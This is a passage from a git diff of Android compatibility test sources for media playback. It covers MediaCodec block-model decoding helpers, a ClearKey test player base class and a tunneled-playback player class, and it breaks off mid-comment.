+            } else {
+                request.setLinearBlock(input.block, input.offset, written);
+            }
+            request.setPresentationTimeUs(timestampUs);
+            request.setFlags(mSignaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+            if (mSetParams) {
+                request.setIntegerParameter("vendor.int", 0);
+                request.setLongParameter("vendor.long", 0);
+                request.setFloatParameter("vendor.float", (float)0);
+                request.setStringParameter("vendor.string", "str");
+                request.setByteBufferParameter("vendor.buffer", ByteBuffer.allocate(1));
+                mSetParams = false;
+            }
+            request.queue();
+            input.offset += written;
+            if (mTimestampList != null) {
+                mTimestampList.add(timestampUs);
+            }
+        }
+
+        private final MediaExtractor mExtractor;
+        private final Long mLastBufferTimestampUs;
+        private final boolean mObtainBlockForEachBuffer;
+        private final List<Long> mTimestampList;
+        private boolean mSignaledEos = false;
+        private boolean mSetParams = true;
+        private final MediaCodec.CryptoInfo mCryptoInfo = new MediaCodec.CryptoInfo();
+        private final boolean mContentEncrypted;
+    }
+
+    private static interface OutputSlotListener {
+        // Returns true if EOS is met
+        public boolean onOutputSlot(MediaCodec codec, int index) throws Exception;
+    }
+
+    public static class DummyOutputSlotListener implements OutputSlotListener {
+        public DummyOutputSlotListener(boolean graphic, List<Long> timestampList) {
+            mGraphic = graphic;
+            mTimestampList = timestampList;
+        }
+
+        @Override
+        public boolean onOutputSlot(MediaCodec codec, int index) throws Exception {
+            MediaCodec.OutputFrame frame = codec.getOutputFrame(index);
+            boolean eos = (frame.getFlags() & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
+
+            if (mGraphic && frame.getHardwareBuffer() != null) {
+                frame.getHardwareBuffer().close();
+            }
+            if (!mGraphic && frame.getLinearBlock() != null) {
+                frame.getLinearBlock().recycle();
+            }
+
+            mTimestampList.remove(frame.getPresentationTimeUs());
+
+            codec.releaseOutputBuffer(index, false);
+
+            return eos;
+        }
+
+        private final boolean mGraphic;
+        private final List<Long> mTimestampList;
+    }
+
+    private static class SurfaceOutputSlotListener implements OutputSlotListener {
+        public SurfaceOutputSlotListener(
+                OutputSurface surface,
+                List<Long> timestampList,
+                List<FormatChangeEvent> events) {
+            mOutputSurface = surface;
+            mTimestampList = timestampList;
+            mEvents = (events != null) ? events : new ArrayList<>();
+        }
+
+        @Override
+        public boolean onOutputSlot(MediaCodec codec, int index) throws Exception {
+            MediaCodec.OutputFrame frame = codec.getOutputFrame(index);
+            boolean eos = (frame.getFlags() & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
+
+            boolean render = false;
+            if (frame.getHardwareBuffer() != null) {
+                frame.getHardwareBuffer().close();
+                render = true;
+            }
+
+            mTimestampList.remove(frame.getPresentationTimeUs());
+
+            if (!frame.getChangedKeys().isEmpty()) {
+                mEvents.add(new FormatChangeEvent(
+                        frame.getPresentationTimeUs(), frame.getChangedKeys(), frame.getFormat()));
+            }
+
+            codec.releaseOutputBuffer(index, render);
+            if (render) {
+                mOutputSurface.awaitNewImage();
+            }
+
+            return eos;
+        }
+
+        private final OutputSurface mOutputSurface;
+        private final List<Long> mTimestampList;
+        private final List<FormatChangeEvent> mEvents;
+    }
+
+    public static class SlotEvent {
+        public SlotEvent(boolean input, int index) {
+            this.input = input;
+            this.index = index;
+        }
+        public final boolean input;
+        public final int index;
+    }
+
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+
+    private static final byte[] CLEAR_KEY_CENC = convert(new int[] {
+            0x3f, 0x0a, 0x33, 0xf3, 0x40, 0x98, 0xb9, 0xe2,
+            0x2b, 0xc0, 0x78, 0xe0, 0xa1, 0xb5, 0xe8, 0x54 });
+
+    private static byte[] convert(int[] intArray) {
+        byte[] byteArray = new byte[intArray.length];
+        for (int i = 0; i < intArray.length; ++i) {
+            byteArray[i] = (byte)intArray[i];
+        }
+        return byteArray;
+    }
+
+    public static class FormatChangeEvent {
+        FormatChangeEvent(long ts, Set<String> keys, MediaFormat fmt) {
+            timestampUs = ts;
+            changedKeys = new HashSet<>(keys);
+            format = new MediaFormat(fmt);
+        }
+
+        long timestampUs;
+        Set<String> changedKeys;
+        MediaFormat format;
+
+        @Override
+        public String toString() {
+            return Long.toString(timestampUs) + "us: changed keys=" + changedKeys
+                + " format=" + format;
+        }
+    }
+
+    public static Result runDecodeShortVideo(
+            MediaExtractor mediaExtractor,
+            Long lastBufferTimestampUs,
+            boolean obtainBlockForEachBuffer,
+            MediaFormat format,
+            List<FormatChangeEvent> events,
+            byte[] sessionId) {
+        OutputSurface outputSurface = null;
+        MediaCodec mediaCodec = null;
+        MediaCrypto crypto = null;
+        try {
+            outputSurface = new OutputSurface(1, 1);
+            MediaFormat mediaFormat = mediaExtractor.getTrackFormat(
+                    mediaExtractor.getSampleTrackIndex());
+            if (format != null) {
+                // copy CSD
+                for (int i = 0; i < 3; ++i) {
+                    String key = "csd-" + i;
+                    if (mediaFormat.containsKey(key)) {
+                        format.setByteBuffer(key, mediaFormat.getByteBuffer(key));
+                    }
+                }
+                mediaFormat = format;
+            }
+            // TODO: b/147748978
+            String[] codecs = MediaUtils.getDecoderNames(true /* isGoog */, mediaFormat);
+            if (codecs.length == 0) {
+                Log.i(TAG, "No decoder found for format= " + mediaFormat);
+                return Result.SKIP;
+            }
+            mediaCodec = MediaCodec.createByCodecName(codecs[0]);
+
+            if (sessionId != null) {
+                crypto = new MediaCrypto(CLEARKEY_SCHEME_UUID, new byte[0] /* initData */);
+                crypto.setMediaDrmSession(sessionId);
+            }
+            List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
+            Result result = runComponentWithLinearInput(
+                    mediaCodec,
+                    crypto,
+                    mediaFormat,
+                    outputSurface.getSurface(),
+                    false,  // encoder
+                    new MediaCodecBlockModelHelper.ExtractorInputSlotListener
+                            .Builder()
+                            .setExtractor(mediaExtractor)
+                            .setLastBufferTimestampUs(lastBufferTimestampUs)
+                            .setObtainBlockForEachBuffer(obtainBlockForEachBuffer)
+                            .setTimestampQueue(timestampList)
+                            .setContentEncrypted(sessionId != null)
+                            .build(),
+                    new SurfaceOutputSlotListener(outputSurface, timestampList, events));
+            if (result == Result.SUCCESS) {
+                assertTrue("Timestamp should match between input / output: " + timestampList,
+                        timestampList.isEmpty());
+            }
+            return result;
+        } catch (IOException e) {
+            throw new RuntimeException("error reading input resource", e);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            if (mediaCodec != null) {
+                mediaCodec.stop();
+                mediaCodec.release();
+            }
+            if (mediaExtractor != null) {
+                mediaExtractor.release();
+            }
+            if (outputSurface != null) {
+                outputSurface.release();
+            }
+            if (crypto != null) {
+                crypto.release();
+            }
+        }
+    }
+
+    public static Result runComponentWithLinearInput(
+            MediaCodec mediaCodec,
+            MediaCrypto crypto,
+            MediaFormat mediaFormat,
+            Surface surface,
+            boolean encoder,
+            InputSlotListener inputListener,
+            OutputSlotListener outputListener) throws Exception {
+        final LinkedBlockingQueue<SlotEvent> queue = new LinkedBlockingQueue<>();
+        mediaCodec.setCallback(new MediaCodec.Callback() {
+            @Override
+            public void onInputBufferAvailable(MediaCodec codec, int index) {
+                queue.offer(new SlotEvent(true, index));
+            }
+
+            @Override
+            public void onOutputBufferAvailable(
+                    MediaCodec codec, int index, MediaCodec.BufferInfo info) {
+                queue.offer(new SlotEvent(false, index));
+            }
+
+            @Override
+            public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+            }
+
+            @Override
+            public void onError(MediaCodec codec, CodecException e) {
+            }
+        });
+        String[] codecNames = new String[]{ mediaCodec.getName() };
+        LinearInputBlock input = new LinearInputBlock();
+        if (!mediaCodec.getCodecInfo().isVendor() && mediaCodec.getName().startsWith("c2.")) {
+            assertTrue("Google default c2.* codecs are copy-free compatible with LinearBlocks",
+                    MediaCodec.LinearBlock.isCodecCopyFreeCompatible(codecNames));
+        }
+        if (crypto != null) {
+            codecNames[0] = codecNames[0] + ".secure";
+        }
+        input.block = MediaCodec.LinearBlock.obtain(
+                APP_BUFFER_SIZE, codecNames);
+        assertTrue("Blocks obtained through LinearBlock.obtain must be mappable",
+                input.block.isMappable());
+        input.buffer = input.block.map();
+        input.offset = 0;
+
+        int flags = MediaCodec.CONFIGURE_FLAG_USE_BLOCK_MODEL;
+        if (encoder) {
+            flags |= MediaCodec.CONFIGURE_FLAG_ENCODE;
+        }
+        mediaCodec.configure(mediaFormat, surface, crypto, flags);
+        mediaCodec.start();
+        boolean eos = false;
+        boolean signaledEos = false;
+        while (!eos && !Thread.interrupted()) {
+            SlotEvent event;
+            try {
+                event = queue.take();
+            } catch (InterruptedException e) {
+                return Result.FAIL;
+            }
+
+            if (event.input) {
+                inputListener.onInputSlot(mediaCodec, event.index, input);
+            } else {
+                eos = outputListener.onOutputSlot(mediaCodec, event.index);
+            }
+        }
+
+        input.block.recycle();
+        return eos ? Result.SUCCESS : Result.FAIL;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecClearKeyPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/MediaCodecClearKeyPlayer.java
rename to tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java
diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecPlayerTestBase.java b/tests/tests/media/common/src/android/media/cts/MediaCodecPlayerTestBase.java
new file mode 100644
index 0000000..f200586
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/MediaCodecPlayerTestBase.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright 2019 Google Inc. All rights reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.MediaCasException;
+import android.media.MediaCodecList;
+import android.media.MediaCryptoException;
+import android.media.MediaFormat;
+import android.net.Uri;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Log;
+import android.view.Surface;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+public class MediaCodecPlayerTestBase<T extends Activity> extends ActivityInstrumentationTestCase2<T> {
+
+    private static final String TAG = MediaCodecPlayerTestBase.class.getSimpleName();
+    private static final int CONNECTION_RETRIES = 10;
+    private static final int SLEEP_TIME_MS = 1000;
+    // The first ten seconds in PLAY_TIME_MS plays the clear lead,
+    // the next ten seconds verifies encrypted playback.
+    // This applies to both streaming and offline tests.
+    private static final long PLAY_TIME_MS = TimeUnit.MILLISECONDS.convert(20, TimeUnit.SECONDS);
+
+    protected Context mContext;
+    protected MediaCodecClearKeyPlayer mMediaCodecPlayer;
+
+    public MediaCodecPlayerTestBase(Class<T> clz) {
+        super(clz);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getTargetContext();
+    }
+
+    /**
+     * Tests clear content playback.
+     */
+    protected void testPlayback(
+            String videoMime, String[] videoFeatures,
+            Uri audioUrl,
+            Uri videoUrl,
+            int videoWidth, int videoHeight,
+            List<Surface> surfaces) throws Exception {
+
+        if (isWatchDevice()) {
+            return;
+        }
+
+        if (!preparePlayback(videoMime, videoFeatures,
+                audioUrl, false /* audioEncrypted */,
+                videoUrl, false /* videoEncrypted */, videoWidth, videoHeight,
+                false /* scrambled */, null /* sessionId */, surfaces)) {
+            return;
+        }
+
+        // starts video playback
+        playUntilEnd();
+    }
+
+    protected boolean isWatchDevice() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
+    protected boolean preparePlayback(String videoMime, String[] videoFeatures, Uri audioUrl,
+            boolean audioEncrypted, Uri videoUrl, boolean videoEncrypted, int videoWidth,
+            int videoHeight, boolean scrambled, byte[] sessionId, List<Surface> surfaces)
+            throws IOException, MediaCryptoException, MediaCasException {
+        if (false == playbackPreCheck(videoMime, videoFeatures, videoUrl,
+                videoWidth, videoHeight)) {
+            Log.e(TAG, "Failed playback precheck");
+            return false;
+        }
+
+        mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
+                surfaces,
+                sessionId, scrambled,
+                mContext);
+
+        mMediaCodecPlayer.setAudioDataSource(audioUrl, null, audioEncrypted);
+        mMediaCodecPlayer.setVideoDataSource(videoUrl, null, videoEncrypted);
+        mMediaCodecPlayer.start();
+        mMediaCodecPlayer.prepare();
+        return true;
+    }
+
+    protected void playUntilEnd() throws InterruptedException {
+        mMediaCodecPlayer.startThread();
+
+        long timeOut = System.currentTimeMillis() + PLAY_TIME_MS;
+        while (timeOut > System.currentTimeMillis() && !mMediaCodecPlayer.isEnded()) {
+            Thread.sleep(SLEEP_TIME_MS);
+            if (mMediaCodecPlayer.getCurrentPosition() >= mMediaCodecPlayer.getDuration() ) {
+                Log.d(TAG, "current pos = " + mMediaCodecPlayer.getCurrentPosition() +
+                        ">= duration = " + mMediaCodecPlayer.getDuration());
+                break;
+            }
+        }
+
+        Log.d(TAG, "playVideo player.reset()");
+        mMediaCodecPlayer.reset();
+    }
+
+    // Verify if we can support playback resolution and has network connection.
+    protected boolean playbackPreCheck(String videoMime, String[] videoFeatures,
+            Uri videoUrl, int videoWidth, int videoHeight) {
+        if (!isResolutionSupported(videoMime, videoFeatures, videoWidth, videoHeight)) {
+            Log.i(TAG, "Device does not support " +
+                    videoWidth + "x" + videoHeight + " resolution for " + videoMime);
+            return false;
+        }
+
+        IConnectionStatus connectionStatus = new ConnectionStatus(mContext);
+        if (!connectionStatus.isAvailable()) {
+            throw new Error("Network is not available, reason: " +
+                    connectionStatus.getNotConnectedReason());
+        }
+
+        // If device is not online, recheck the status a few times.
+        int retries = 0;
+        while (!connectionStatus.isConnected()) {
+            if (retries++ >= CONNECTION_RETRIES) {
+                throw new Error("Device is not online, reason: " +
+                        connectionStatus.getNotConnectedReason());
+            }
+            try {
+                Thread.sleep(100);
+            } catch (InterruptedException e) {
+            }
+        }
+        connectionStatus.testConnection(videoUrl);
+        return true;
+    }
+
+    protected boolean isResolutionSupported(String mime, String[] features,
+            int videoWidth, int videoHeight) {
+        MediaFormat format = MediaFormat.createVideoFormat(mime, videoWidth, videoHeight);
+        for (String feature: features) {
+            format.setFeatureEnabled(feature, true);
+        }
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        if (mcl.findDecoderForFormat(format) == null) {
+            Log.i(TAG, "could not find codec for " + format);
+            return false;
+        }
+        return true;
+    }
+
+}
diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
new file mode 100644
index 0000000..a602a13
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
@@ -0,0 +1,764 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.Context;
+import android.media.AudioTimestamp;
+import android.media.AudioTrack;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.net.Uri;
+import android.util.Log;
+import android.view.SurfaceHolder;
+
+import com.google.common.collect.ImmutableList;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * JB(API 21) introduces {@link MediaCodec} tunneled mode API.  It allows apps
+ * to use MediaCodec to delegate their Audio/Video rendering to a vendor provided
+ * Codec component.
+ */
+public class MediaCodecTunneledPlayer implements MediaTimeProvider {
+    private static final String TAG = MediaCodecTunneledPlayer.class.getSimpleName();
+
+    /** State the player starts in, before configuration. */
+    private static final int STATE_IDLE = 1;
+    /** State of the player during initial configuration. */
+    private static final int STATE_PREPARING = 2;
+    /** State of the player during playback. */
+    private static final int STATE_PLAYING = 3;
+    /** State of the player when configured but not playing. */
+    private static final int STATE_PAUSED = 4;
+
+    private Boolean mThreadStarted = false;
+    private byte[] mSessionId;
+    private CodecState mAudioTrackState;
+    private int mMediaFormatHeight;
+    private int mMediaFormatWidth;
+    private Integer mState;
+    private long mDeltaTimeUs;
+    private long mDurationUs;
+    private Map<Integer, CodecState> mAudioCodecStates;
+    private Map<Integer, CodecState> mVideoCodecStates;
+    private Map<String, String> mAudioHeaders;
+    private Map<String, String> mVideoHeaders;
+    private MediaExtractor mAudioExtractor;
+    private MediaExtractor mVideoExtractor;
+    private SurfaceHolder mSurfaceHolder;
+    private Thread mThread;
+    private Uri mAudioUri;
+    private Uri mVideoUri;
+    private boolean mIsTunneled;
+    private int mAudioSessionId;
+    private Context mContext;
+
+    /*
+     * Media player class to playback video using tunneled MediaCodec.
+     */
+    public MediaCodecTunneledPlayer(Context context, SurfaceHolder holder, boolean tunneled, int AudioSessionId) {
+        mContext = context;
+        mSurfaceHolder = holder;
+        mIsTunneled = tunneled;
+        mAudioTrackState = null;
+        mState = STATE_IDLE;
+        mAudioSessionId = AudioSessionId;
+        mThread = new Thread(new Runnable() {
+            @Override
+            public void run() {
+                while (true) {
+                    synchronized (mThreadStarted) {
+                        if (mThreadStarted == false) {
+                            break;
+                        }
+                    }
+                    synchronized (mState) {
+                        if (mState == STATE_PLAYING) {
+                            doSomeWork();
+                            if (mAudioTrackState != null) {
+                                mAudioTrackState.processAudioTrack();
+                            }
+                        }
+                    }
+                    try {
+                        Thread.sleep(5);
+                    } catch (InterruptedException ex) {
+                        Log.d(TAG, "Thread interrupted");
+                    }
+                }
+            }
+        });
+    }
+
+    public void setAudioDataSource(Uri uri, Map<String, String> headers) {
+        mAudioUri = uri;
+        mAudioHeaders = headers;
+    }
+
+    public void setVideoDataSource(Uri uri, Map<String, String> headers) {
+        mVideoUri = uri;
+        mVideoHeaders = headers;
+    }
+
+    public final int getMediaFormatHeight() {
+        return mMediaFormatHeight;
+    }
+
+    public final int getMediaFormatWidth() {
+        return mMediaFormatWidth;
+    }
+
+    private boolean prepareAudio() throws IOException {
+        for (int i = mAudioExtractor.getTrackCount(); i-- > 0;) {
+            MediaFormat format = mAudioExtractor.getTrackFormat(i);
+            String mime = format.getString(MediaFormat.KEY_MIME);
+
+            if (!mime.startsWith("audio/")) {
+                continue;
+            }
+
+            Log.d(TAG, "audio track #" + i + " " + format + " " + mime +
+                  " Is ADTS:" + getMediaFormatInteger(format, MediaFormat.KEY_IS_ADTS) +
+                  " Sample rate:" + getMediaFormatInteger(format, MediaFormat.KEY_SAMPLE_RATE) +
+                  " Channel count:" +
+                  getMediaFormatInteger(format, MediaFormat.KEY_CHANNEL_COUNT));
+
+            mAudioExtractor.selectTrack(i);
+            if (!addTrack(i, format)) {
+                Log.e(TAG, "prepareAudio - addTrack() failed!");
+                return false;
+            }
+
+            if (format.containsKey(MediaFormat.KEY_DURATION)) {
+                long durationUs = format.getLong(MediaFormat.KEY_DURATION);
+
+                if (durationUs > mDurationUs) {
+                    mDurationUs = durationUs;
+                }
+                Log.d(TAG, "audio track format #" + i +
+                        " Duration:" + mDurationUs + " microseconds");
+            }
+        }
+        return true;
+    }
+
+    private boolean prepareVideo() throws IOException {
+        for (int i = mVideoExtractor.getTrackCount(); i-- > 0;) {
+            MediaFormat format = mVideoExtractor.getTrackFormat(i);
+            String mime = format.getString(MediaFormat.KEY_MIME);
+
+            if (!mime.startsWith("video/")) {
+                continue;
+            }
+
+            mMediaFormatHeight = getMediaFormatInteger(format, MediaFormat.KEY_HEIGHT);
+            mMediaFormatWidth = getMediaFormatInteger(format, MediaFormat.KEY_WIDTH);
+            Log.d(TAG, "video track #" + i + " " + format + " " + mime +
+                  " Width:" + mMediaFormatWidth + ", Height:" + mMediaFormatHeight);
+
+            mVideoExtractor.selectTrack(i);
+            if (!addTrack(i, format)) {
+                Log.e(TAG, "prepareVideo - addTrack() failed!");
+                return false;
+            }
+
+            if (format.containsKey(MediaFormat.KEY_DURATION)) {
+                long durationUs = format.getLong(MediaFormat.KEY_DURATION);
+
+                if (durationUs > mDurationUs) {
+                    mDurationUs = durationUs;
+                }
+                Log.d(TAG, "track format #" + i + " Duration:" +
+                        mDurationUs + " microseconds");
+            }
+        }
+        return true;
+    }
+
+    public boolean prepare() throws IOException {
+        if (null == mAudioExtractor) {
+            mAudioExtractor = new MediaExtractor();
+            if (null == mAudioExtractor) {
+                Log.e(TAG, "prepare - Cannot create Audio extractor.");
+                return false;
+            }
+        }
+
+        if (null == mVideoExtractor){
+            mVideoExtractor = new MediaExtractor();
+            if (null == mVideoExtractor) {
+                Log.e(TAG, "prepare - Cannot create Video extractor.");
+                return false;
+            }
+        }
+
+        mAudioExtractor.setDataSource(mContext, mAudioUri, mAudioHeaders);
+        if (mVideoUri != null) {
+            mVideoExtractor.setDataSource(mContext, mVideoUri, mVideoHeaders);
+        }
+
+        if (null == mVideoCodecStates) {
+            mVideoCodecStates = new HashMap<Integer, CodecState>();
+        } else {
+            mVideoCodecStates.clear();
+        }
+
+        if (null == mAudioCodecStates) {
+            mAudioCodecStates = new HashMap<Integer, CodecState>();
+        } else {
+            mAudioCodecStates.clear();
+        }
+
+        if (!prepareAudio()) {
+            Log.e(TAG,"prepare - prepareAudio() failed!");
+            return false;
+        }
+        if (!prepareVideo()) {
+            Log.e(TAG,"prepare - prepareVideo() failed!");
+            return false;
+        }
+
+        synchronized (mState) {
+            mState = STATE_PAUSED;
+        }
+        return true;
+    }
+
+    private boolean addTrack(int trackIndex, MediaFormat format) throws IOException {
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        boolean isVideo = mime.startsWith("video/");
+        boolean isAudio = mime.startsWith("audio/");
+        MediaCodec codec;
+
+        // setup tunneled video codec if needed
+        if (isVideo && mIsTunneled) {
+            format.setFeatureEnabled(MediaCodecInfo.CodecCapabilities.FEATURE_TunneledPlayback,
+                        true);
+            MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+            String codecName = mcl.findDecoderForFormat(format);
+            if (codecName == null) {
+                Log.e(TAG,"addTrack - Could not find Tunneled playback codec for "+mime+
+                        " format!");
+                return false;
+            }
+
+            codec = MediaCodec.createByCodecName(codecName);
+            if (codec == null) {
+                Log.e(TAG, "addTrack - Could not create Tunneled playback codec "+
+                        codecName+"!");
+                return false;
+            }
+
+            if (mAudioTrackState != null) {
+                format.setInteger(MediaFormat.KEY_AUDIO_SESSION_ID, mAudioSessionId);
+            }
+        }
+        else {
+            codec = MediaCodec.createDecoderByType(mime);
+            if (codec == null) {
+                Log.e(TAG, "addTrack - Could not create regular playback codec for mime "+
+                        mime+"!");
+                return false;
+            }
+        }
+        codec.configure(
+                format,
+                isVideo ? mSurfaceHolder.getSurface() : null, null, 0);
+
+        CodecState state;
+        if (isVideo) {
+            state = new CodecState((MediaTimeProvider)this, mVideoExtractor,
+                            trackIndex, format, codec, true, mIsTunneled, mAudioSessionId);
+            mVideoCodecStates.put(Integer.valueOf(trackIndex), state);
+        } else {
+            state = new CodecState((MediaTimeProvider)this, mAudioExtractor,
+                            trackIndex, format, codec, true, mIsTunneled, mAudioSessionId);
+            mAudioCodecStates.put(Integer.valueOf(trackIndex), state);
+        }
+
+        if (isAudio) {
+            mAudioTrackState = state;
+        }
+
+        return true;
+    }
+
+    protected int getMediaFormatInteger(MediaFormat format, String key) {
+        return format.containsKey(key) ? format.getInteger(key) : 0;
+    }
+
+    public boolean start() {
+        Log.d(TAG, "start");
+
+        synchronized (mState) {
+            if (mState == STATE_PLAYING || mState == STATE_PREPARING) {
+                return true;
+            } else if (mState == STATE_IDLE) {
+                mState = STATE_PREPARING;
+                return true;
+            } else if (mState != STATE_PAUSED) {
+                throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+            }
+
+            for (CodecState state : mVideoCodecStates.values()) {
+                state.start();
+            }
+
+            for (CodecState state : mAudioCodecStates.values()) {
+                state.start();
+            }
+
+            mDeltaTimeUs = -1;
+            mState = STATE_PLAYING;
+        }
+        return false;
+    }
+
+    public void startWork() throws IOException, Exception {
+        try {
+            // Just change state from STATE_IDLE to STATE_PREPARING.
+            start();
+            // Extract media information from uri asset, and change state to STATE_PAUSED.
+            prepare();
+            // Start CodecState, and change from STATE_PAUSED to STATE_PLAYING.
+            start();
+        } catch (IOException e) {
+            throw e;
+        }
+
+        synchronized (mThreadStarted) {
+            mThreadStarted = true;
+            mThread.start();
+        }
+    }
+
+    public void startThread() {
+        start();
+        synchronized (mThreadStarted) {
+            mThreadStarted = true;
+            mThread.start();
+        }
+    }
+
+    // Pauses the audio track
+    public void pause() {
+        Log.d(TAG, "pause");
+
+        synchronized (mState) {
+            if (mState == STATE_PAUSED) {
+                return;
+            } else if (mState != STATE_PLAYING) {
+                throw new IllegalStateException();
+            }
+
+            for (CodecState state : mVideoCodecStates.values()) {
+                state.pause();
+            }
+
+            for (CodecState state : mAudioCodecStates.values()) {
+                state.pause();
+            }
+
+            mState = STATE_PAUSED;
+        }
+    }
+
+    public void flush() {
+        Log.d(TAG, "flush");
+
+        synchronized (mState) {
+            if (mState == STATE_PLAYING || mState == STATE_PREPARING) {
+                return;
+            }
+
+            for (CodecState state : mAudioCodecStates.values()) {
+                state.flush();
+            }
+
+            for (CodecState state : mVideoCodecStates.values()) {
+                state.flush();
+            }
+        }
+    }
+
+    /**
+     * Flushes all the video codecs when the player is in stand-by.
+     *
+     * @throws IllegalStateException  if the player is not paused
+     */
+    public void videoFlush() {
+        Log.d(TAG, "videoFlush");
+        synchronized (mState) {
+            if (mState != STATE_PAUSED) {
+                throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+            }
+
+            for (CodecState state : mVideoCodecStates.values()) {
+                state.flush();
+            }
+        }
+    }
+
+    /** Seek all video tracks to their very beginning.
+     *
+     * @param  shouldContinuePts      a boolean that controls whether timestamps keep increasing
+     * @throws IllegalStateException  if the player is not paused
+     */
+    public void videoSeekToBeginning(boolean shouldContinuePts) {
+        Log.d(TAG, "videoSeekToBeginning");
+        synchronized (mState) {
+            if (mState != STATE_PAUSED) {
+                throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+            }
+
+            for (CodecState state : mVideoCodecStates.values()) {
+                state.seekToBeginning(shouldContinuePts);
+            }
+        }
+    }
+
+    /**
+     * Enables or disables looping. Should be called after {@link #prepare()}.
+     */
+    public void setLoopEnabled(boolean enabled) {
+        synchronized (mState) {
+            if (mVideoCodecStates != null) {
+                for (CodecState state : mVideoCodecStates.values()) {
+                    state.setLoopEnabled(enabled);
+                }
+            }
+
+            if (mAudioCodecStates != null) {
+                for (CodecState state : mAudioCodecStates.values()) {
+                    state.setLoopEnabled(enabled);
+                }
+            }
+        }
+    }
+
+    public void reset() {
+        synchronized (mState) {
+            if (mState == STATE_PLAYING) {
+                pause();
+            }
+            if (mVideoCodecStates != null) {
+                for (CodecState state : mVideoCodecStates.values()) {
+                    state.release();
+                }
+                mVideoCodecStates = null;
+            }
+
+            if (mAudioCodecStates != null) {
+                for (CodecState state : mAudioCodecStates.values()) {
+                    state.release();
+                }
+                mAudioCodecStates = null;
+            }
+
+            if (mAudioExtractor != null) {
+                mAudioExtractor.release();
+                mAudioExtractor = null;
+            }
+
+            if (mVideoExtractor != null) {
+                mVideoExtractor.release();
+                mVideoExtractor = null;
+            }
+
+            mDurationUs = -1;
+            mState = STATE_IDLE;
+        }
+        synchronized (mThreadStarted) {
+            mThreadStarted = false;
+        }
+        try {
+            mThread.join();
+        } catch (InterruptedException ex) {
+            Log.d(TAG, "mThread.join ", ex);
+        }
+    }
+
+    public boolean isEnded() {
+        for (CodecState state : mVideoCodecStates.values()) {
+          if (!state.isEnded()) {
+            return false;
+          }
+        }
+
+        for (CodecState state : mAudioCodecStates.values()) {
+            if (!state.isEnded()) {
+              return false;
+            }
+        }
+
+        return true;
+    }
+
+    private void doSomeWork() {
+        try {
+            for (CodecState state : mVideoCodecStates.values()) {
+                state.doSomeWork();
+            }
+        } catch (IllegalStateException e) {
+            throw new Error("Video CodecState.doSomeWork", e);
+        }
+
+        try {
+            for (CodecState state : mAudioCodecStates.values()) {
+                state.doSomeWork();
+            }
+        } catch (IllegalStateException e) {
+            throw new Error("Audio CodecState.doSomeWork", e);
+        }
+
+    }
+
+    public long getNowUs() {
+        if (mAudioTrackState == null) {
+            return System.currentTimeMillis() * 1000;
+        }
+
+        return mAudioTrackState.getAudioTimeUs();
+    }
+
+    public long getRealTimeUsForMediaTime(long mediaTimeUs) {
+        if (mDeltaTimeUs == -1) {
+            long nowUs = getNowUs();
+            mDeltaTimeUs = nowUs - mediaTimeUs;
+        }
+
+        return mDeltaTimeUs + mediaTimeUs;
+    }
+
+    public int getDuration() {
+        return (int)((mDurationUs + 500) / 1000);
+    }
+
+    /**
+     * Retrieve the presentation timestamp of the latest queued output sample.
+     * In tunnel mode, retrieves the presentation timestamp of the latest rendered video frame.
+     * @return presentation timestamp in microseconds, or {@code CodecState.UNINITIALIZED_TIMESTAMP}
+     * if playback has not started.
+    */
